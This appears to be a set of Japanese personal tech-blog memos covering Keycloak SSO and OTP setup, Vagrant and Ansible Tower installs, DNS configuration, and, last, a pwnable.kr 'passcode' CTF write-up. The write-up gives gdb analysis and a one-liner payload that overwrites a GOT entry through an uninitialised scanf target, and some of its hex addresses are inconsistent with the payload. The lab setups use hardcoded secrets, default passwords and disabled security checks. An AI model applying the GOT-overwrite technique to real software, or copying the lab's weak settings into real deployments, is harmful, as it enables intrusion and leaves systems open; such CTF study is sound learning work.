AMD-Action:authenticate:SP の対処法メモ

App Storeからアプリケーションをインストールしようとした時に AMD-Action:authenticate:SP というエラーがででいた。 ここを参考に以下のコマンドを実行。

$ sudo -s
# cd /Users
# mkdir Shared
# chown root Shared
# chgrp staff Shared
# chmod 775 Shared
# exit

自分の場合は上記の手順で解決しました。

参考

www.tonymacx86.com

KeycloakでOpenID Connectを使ってSSOしたときのメモ(認可コードフロー)

はじめに

Keycloak で OpenID Connect を使って SSO をしてみたときのメモです。
今回の内容は以下の記事を参考に実際にやってみた際の手順になります。
ですので、詳しい内容は以下の記事をみていただけたらと思います。
qiita.com

前提条件

Keycloak に関しては、以下の記事で構築済みとします。(http://localhost:8080 で起動済みであることを前提とします)
kent056-n.hatenablog.com また、認可コードフローに関しては先ほど紹介した記事の「というか、認可コードフローってなんだっけ?」に記載してありますので、割愛します。

環境

Relying Party の環境

項目
OS CentOS 7.2
URL http://192.168.33.11
クライアントID(client_id) apache24
リダイレクトURI http://192.168.33.11/private/callback

OpenID Provider(Keycloak の環境)

項目
OS CentOS 7.2
URL http://192.168.33.10:8080
エンドポイント http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration

Relying Party(RP)構築

Relying Party に関しては、「Relying Party (RP) を作る」を参考にmod_auth_openidcを使って進めていきます。

環境の用意

VirtualBoxVagrant を利用して Relying Party のサーバーを用意していきます。

$ mkdir relying_party
$ cd relying_party
$ vagrant init bento/centos-7.2

次に、ip アドレスと ssh のポート番号が重複しないように Vagrantfile を編集し、以下の二行を追記します。

config.vm.network "private_network", ip: "192.168.33.11"
config.vm.network "forwarded_port", guest: 22, host: 22222, id: "ssh"

編集できたら保存し、サーバーの起動及びログインをします。

$ vagrat up
$ vagrant ssh

ログインできたら、必要なものをインストールしていきます。vim は任意です。

# sudo -s
# yum install vim
# yum install mod_auth_openidc

Keycloak 設定

Keycloak 管理コンソールに管理者でログインしておきます。 このとき、realm が Master になっていることを確認してください。(realm が Master である必要はないですが、realm によって設定が変わる箇所があるので一応...)

クライアントの設定

[Clients] > [Create]からクライアントの設定をしていきます。 f:id:kent056-n:20180624231614p:plain Client ID は Relying Party の設定で書いた apache24、Client Protocol はopenid-connectを選択して Save を押します。 また、Access Type を public から confidential 、Consent Required を ON 、Valid Redirect URIs にhttp://192.168.33.11/private/callbackをそれぞれ設定して Save を押します。
上記の操作をした場合、以下のような設定になってるかと思います。 f:id:kent056-n:20180624231726p:plain 次に、Clients の Credentials タブを選択し、Client Authenticator が Client and Secret であることを確認し、Secret をメモしておきます。(Secret は後で使います) f:id:kent056-n:20180624232811p:plain

ユーザーの追加

SSO するユーザーを追加しておきます。 [Users] > [Add user]から追加していきます。今回は Username を u111 、Firest Name を u111 、Last Name を test として登録しておきました。 f:id:kent056-n:20180624234527p:plain 登録できたら、[Credentials]タブの Manage Password からパスワードを設定しておきます。

Relying Party 設定

mod_auth_openidc の設定

mod_auth_openidc(Apache)を設定する」を参考に httpd.conf を編集して Relying Party の設置をおこなっていきます。

# vim /etc/httpd/conf/httpd.conf

今回は httpd.conf に以下の内容を追記しました。
IDCPreservePost ディレクティブに関してはエラーが出ていたので、コメントアウトしました(ちゃんと調べよう...)
個人的に感じた注意点としては以下の二点ですかね。 ・OIDCProviderMetadataURL ディレクティブに設定する URL が realm によって変わる http://192.168.33.10:8080/auth/realms/【realm 名】/.well-known/openid-configuration ・OIDCClientSecret に先ほどメモしておいた Secret を入れる

LoadModule auth_openidc_module modules/mod_auth_openidc.so

OIDCProviderMetadataURL       http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration
OIDCClientID                  apache24
OIDCClientSecret              c45d6804-40d6-4b46-8d62-6f6b36bba7d6
OIDCResponseType              code
OIDCScope                     "openid"
OIDCSSLValidateServer         Off
OIDCProviderTokenEndpointAuth client_secret_basic

OIDCRedirectURI               http://192.168.33.11/private/callback
OIDCCryptoPassphrase          passphrase
#OIDCPreservePost              On

<Location /private>
   AuthType         openid-connect
   Require          valid-user
</Location>
<Location /public>
   OIDCUnAuthAction pass
   AuthType         openid-connect
   Require          valid-user
</Location>

コンテンツの追加

ドキュメントルート以下にコンテンツをおいておきましょう。今回は /var/www/html/private/以下に 以下のような html ファイルを index.html としておいておきます。

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <title>SSO の確認</title>
</head>

<body>
   <h1> success!!</h1>
</body>
</html>

確認

http://192.168.33.11/private/index.htmlにアクセスします。
以下のように Keycloak のログイン画面へ遷移するので、Username と Password をそれぞれ入力します。 f:id:kent056-n:20180625000237p:plain すると、以下のようなに同意を求められるので同意します。 f:id:kent056-n:20180625000039p:plain 最終的に以下のような画面が表示されたら成功です。 f:id:kent056-n:20180625000536p:plain

おわりに

色々設定できそうなのでやっていきたい。

参考資料

https://qiita.com/rawr/items/d4f45e094c39ef43cbdf

KeycloakでOTP認証を試してみたときのメモ

はじめに

以下の記事を参考に Keycloak で二要素認証をしてみた。
そのときのメモ。結論から言うと、めちゃめちゃ簡単にできた。

qiita.com

準備

Keycloak のデプロイは以下の記事を参考にすでにできているものとします。あとは、「FreeOTP」がインストールされた IPhone を用意します。(今回は試していないのですが Google Authenticator でもできるようですね) kent056-n.hatenablog.com

やったこと

上記で紹介した qiita に書かれている記事通りの手順で問題なくできた。

Keycloak 管理設定

まず、Keycloak管理設定を確認してみるを参考に、Keycloak管理コンソールにアクセスして設定していきます。
前回の記事通りの設定であれば、http://192.168.33.10:8080/auth/admin/master/console/にアクセスして、[Configure] > [Authentication]で認証フローの設定画面にたどり着けます。 記事にも記載されていますが、こちらの認証フロー設定画面で、各認証タイプに対して、「ALTERNATIVE」、「REQUIRED」、「OPTIONAL」、「DISABLED」が設定できます。
利用したい認証タイプの必要条件を変更することで多要素認証が実現できるようですね。今回は以下のような設定にしておきました。 f:id:kent056-n:20180621010202p:plain

OTPポリシー設定

先ほどの Authentication のページの OTP Policy タブをクリックすることで OTP のポリシーが設定できます。
設定できる項目としては、「OTP Type」、「OTP Hash Algorithm」、「Number Digits」、「Look Ahead Window」、「OTP Token Period」、「Supported Application」があります。それぞれの設定できる値と?マークに記載されている説明をまとめてみました。

項目 説明 設定値
OTP Type totp is Time-Based One Time Password. 'hotp' is counter base one time password in which the server keeps a counter to hash against TimeBased・Councer Based
OTP Hash Algorithm What hashing algorithm should be used to generate the OTP. SHA1・SHA256・SHA512
Number of Digits How many digits should the OTP have? 6・8
Look Ahead Window How far ahead should the server look just in case the token generator and server are out of time sync or counter sync? 任意の値?(デフォルトは 1)
OTP Token Period How many seconds should an OTP token be valid? Defaults to 30 seconds. 任意の値?(デフォルト 30)
Supported Applications Applications that are known to work with the current OTP policy FreeOTP, Google Authenticator

OTP Hash Algorithm といったものだけでなく、TOTP、HOTP といった OTP Type まで UI から選べるのは良いですね。(Supported Applications の追加はできないのかどうか気になる...)
今回は「OTPポリシー」タブと同様に、以下のデフォルト値のまま進めていきました。(また別の記事か何かでいろいろと挙動を確認したい...) f:id:kent056-n:20180621010406p:plain

ユーザ設定

以下の Admin console から、右上の [Admin] > [Managed account] > [Authenticator]の順でユーザの OTP 設定をおこなう。 f:id:kent056-n:20180621013236p:plain ユーザ設定をしてみるを参考に、FreeOTPの設定をしてく。
以下のような画面が表示されたらおそらく設定がうまくできているかと思います。(全く同様の手順で設定できました) f:id:kent056-n:20180621013719p:plain

確認

ここまでできたら、最後に確認をします。
こちらも、認証の確認をしてみると同様の手順でパスワード > OTPの順で入力することで確認できました。

おわりに

かなり簡単にできました。

VirtualBox+Vagrant+Spring BootでKeycloakの動作確認したときのメモ

はじめに

KeycloakでOpenID Connectを使ってみる(Spring Bootアプリケーション編)VirtualBoxCentOS上で試してみた際のメモ。
(VirtualBoxVagrant はインストール済みとする。)

環境構築

CentOS環境構築

まず、CentOS7の環境を用意していく。

$ mkdir centos7.2
$ cd centos7.2
$ vagrant init bento/centos-7.2

次に、ネットワークの設定をするために、Vagrantfileの以下の行のコメントを外す。これで、192.168.33.10でアクセスできるようになる。

$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.10"

また、以下のようにホストOSとゲストOSで編集したファイルを共有できるようにしておくと後々便利かもしれない(任意)

 config.vm.synced_folder "./shared", "/home/vagrant/shared", owner: "vagrant", group: "vagrant"

ここまできたらCentOSを起動し、sshでログインする。

$ vagrant up
$vagrant ssh

念のためSELinuxを無効にしておく。

# vi /etc/selinux/config
SELINUX=disabled

サーバーを再起動する。

# reboot

再起動できたら、再度sshでログインして、作業に必要なものをインストールしてく。今回は以下のパッケージをインストールした。

$ sudo yum install wget
$ sudo yum install zip
$ sudo yum install unzip
$ sudo yum install tmux (あるとちょっと便利)
$ sudo yum install vim

Java 環境構築

Keycloakを動作させるために、Javaの環境を構築していく。今回は以下のコマンドを実行した。

Maven のインストール

$ sudo yum install -y java-1.8.0-openjdk-devel
$ cd /usr/local/src
$ sudo curl -OL https://archive.apache.org/dist/maven/maven-3/3.5.2/binaries/apache-maven-3.5.2-bin.tar.gz
$ sudo tar -xzvf apache-maven-3.5.2-bin.tar.gz
$ sudo mv apache-maven-3.5.2/ apache-maven/

環境変数の設定

# cd /etc/profile.d/
# vim maven.sh

以下の内容を記述する。

# Apache Maven Environment Variables
# MAVEN_HOME for Maven 1 - M2_HOME for Maven 2
export M2_HOME=/usr/local/src/apache-maven
export PATH=${M2_HOME}/bin:${PATH}

mavne.shが用意できたら反映する。

# chmod +x maven.sh
# source /etc/profile.d/maven.sh
# mvn --version

Keycloakインストール

公式のダウンロードページから落としてくる。

$ wget https://downloads.jboss.org/keycloak/4.0.0.Beta3/keycloak-4.0.0.Beta3.zip
$ unzip keycloak-4.0.0.Beta3.zip
$ ./bin/standalone.sh -b 0.0.0.0
$ ./bin/add-user-keycloak.sh --user admin --password password

ここまでできたら、 http://192.168.33.10:8080/auth/ にアクセスすると、以下のようなログイン画面が表示され、Administration Consoleのリンクから、Username or emailにadmin、Passwordにpasswordを入力することでログインができる。 f:id:kent056-n:20180611232620p:plain

Keycloakの設定

Keycloakの設定は 1. Keycloakの設定 を参考に、レルムの作成、クライアントの作成、ロールの作成、ユーザーの作成とロールの割り当てを行う。 「有効なリダイレクトURI」に「http://192.168.33.10:8081/hello」と入力する点に注意。それ以外は同じ。

Spring Boot サンプルアプリケーションの作成

Spring Bootサンプルアプリケーションの作成も 2.簡単なSpring Bootアプリケーションの作成 を参考に進めていく。 プロパティが以下のようになる点には注意。

keycloak.auth-server-url=http://192.168.33.10:8080/auth
keycloak.realm=demo
keycloak.public-client=true
keycloak.resource=sample-app
keycloak.security-constraints[0].authRoles[0]=user
keycloak.security-constraints[0].securityCollections[0].patterns[0]=/hello
server.port=8081

動作確認

動作確認も同様の手順で可能。 アクセス先がhttp://192.168.33.10になる点だけ注意。

おわりに

ドキュメントが充実していて良かった。

参考

Freenomで取得した無料ドメインをDigitalOceanに設定する方法

Freenomでドメインの取得

Freenomでドメインを取得する方法については以下のページに詳しく書いてあります。こちらを参考にしてドメインの取得を行なってください。
無料でドメインを取得!Freenomでのドメイン取得方法!&ドメインをさくらインターネットのVPSに設定する方法 – ちんぷいどっとねっと

Freenom での設定

ドメインが取得できたら、必要なDNSの設定を行なっていきます。
トップページから、[Services] → [MyDomains] と選択し、MyDomainsのページへ移動します。
移動したのち、先ほど取得したドメインが表示されていると思うので、[Management Domain] を選択します。
すると、"Managing 【ドメイン名】"と書かれたページに移動しているかと思います。ここで[Management Tools] → [NameServers] を選択してください。
以下のような画面が表示されたら、DigitalOceanのNameserverを入力してください。
f:id:kent056-n:20180509234347p:plain

DigitalOceanでの設定

トップページの [Networking] タグから [Domains] を選択し、Add a domain で先ほど作成したドメインを追加してください。 必要に応じて、ドメイン名を選択して、各種レコードの設定をおこなてください。(自分が試した際はデフォルト設定のままで問題なかったはずです)

VagrantとVirtualBoxでAnsible Towerをインストールしてみた

事前にVagrantVirtualboxをインストールしておく。
以下のコマンドを実行し、CentOS7系のboxを入手する。

$ mkdir tower
$ cd tower
$ vagrant init bento/centos-7.2
$ vagrant up

Ansible TowerはRAMが2GB以上でないと動かないのでVagrantfileに以下の内容を追記する。

$ vim Vagrantfile

  config.vm.provider "virtualbox" do |vb|
     vb.memory = "2048"
  end

また、以下の行のコメントアウトを外して、IPアドレスの設定も行なっておきます。

config.vm.network "private_network", ip: "192.168.33.10"

ここまでできたら、AnsibleとAnsibleTowerをそれぞれインストールする。
Ansible Towerのインストールに関しては以下のページに詳細に書いてあったので、参考にさせてもらいました。

blog.serverworks.co.jp

まず、Ansibleをインストール時、EPEL リポジトリを使用するため以下を実行して有効化します。

$ sudo yum install http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm

Ansible Tower インストール時に以下のリポジトリが必須のため、yum-config-managerで有効化します。

$ sudo yum -y install yum-utils (yum-config-managerが入っていない場合のみ)
$ sudo  yum-config-manager --enable rhui-REGION-rhel-server-extras

パッケージを最新の状態にする。

$ sudo yum update

Ansibleをインストールする。

$ sudo yum install ansible wget

Ansible Tower をインストール及び解凍する。

$ wget http://releases.ansible.com/ansible-tower/setup/ansible-tower-setup-latest.tar.gz
$ tar xvzf ansible-tower-setup-latest
$ cd ansible-tower-setup-【バージョン】

Inventoryファイルを編集し、パスワードを設定する。

$ vi inventory

admin_password='【パスワード】'
pg_password='【パスワード】'
rabbitmq_password='【パスワード】'
$ sudo ./setup.sh

セットアップが成功したら、実際にプレイブックを実行してみます。 プレイブックの実行に関しては以下のスライドを参考にさせてもらいました。
Ansible tower 構築方法と使い方

以下のコマンドでIPアドレスを確認してブラウザでアクセスします。ユーザー名はadmin、パスワードは先ほどInventoryファイルに記載したものでログインすることができます。

$ ip a

ブラウザでアクセスするとライセンスを要求されるので画面の指示にしたがって必要事項を記入していきます。

[プロジェクト]タブをクリックすると、Demo Projectというプロジェクトがデフォルトで用意されていることがわかります。
f:id:kent056-n:20171231231129p:plain

このプロジェクトはHello Worldを表示するだけのものであり、以下からPlay Bookの取得を行なっています。 (ジョブ実行後に/var/lib/awx/projects以下に配置されています。)
GitHub - ansible/ansible-tower-samples: Ansible Tower Playbook Samples
f:id:kent056-n:20171231231146p:plain

実際に[テンプレート]タブをクリックし、ロケットマークのジョブ実行アイコンをクリックします。
正しくJobが成功すると、Hello World! が表示されます。

pwnable.krのメモ【passcode】

以下、問題文。

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

まず sshで接続すると、passcodepasscode.c、flag の3つのファイルがある。 とりあえず実行

$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : hoge
Welcome hoge !
enter passcode1 : 338150
Segmentation fault

Segmentation fault が起きる(338150を入力したのはpasscode.cに以下の条件式があったから)。

 if(passcode1==338150 && passcode2==13371337){

問題の箇所は以下のコードっぽい。本来scanf関数の第2引数はアドレスを渡さなければならないのに変数がそのまま入ってしまっている。

scanf("%d", passcode1);

ここからはgdbでみて行く。

gdb-peda$ disas welcome

上記のコマンドを実行すると、lea edx, [ebp-0x70]と書いてあることから、変数 name は[ebp-0x70] にあるだろうと推測できる。

gdb-peda$ disas login

また、上記のコマンドを実行すると、mov edx, [ebp-0x10]と書いてあることから、変数passcode1は[ebp-0x10]にあるだろうと推測することができる。 0x70-0x10 = 96 なので、nameに格納できる100byteのうち、残りの4byteでpasscode1を上書きできることがわかる。

gdb-peda$ disas fflush

上記のコマンドの結果より<fflush@plt>がcallされた時に0x804a004にジャンプしていることがわかる. fflush関数のGOTアドレス0x80a004をflagを表示しているアドレスに書き換えることで、fflush関数が呼ばれた時にflagを表示するようにする。 flagを表示している箇所のアドレスは0x80487afだと推測できるので、あとは以下のコマンドで書き換える。

python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode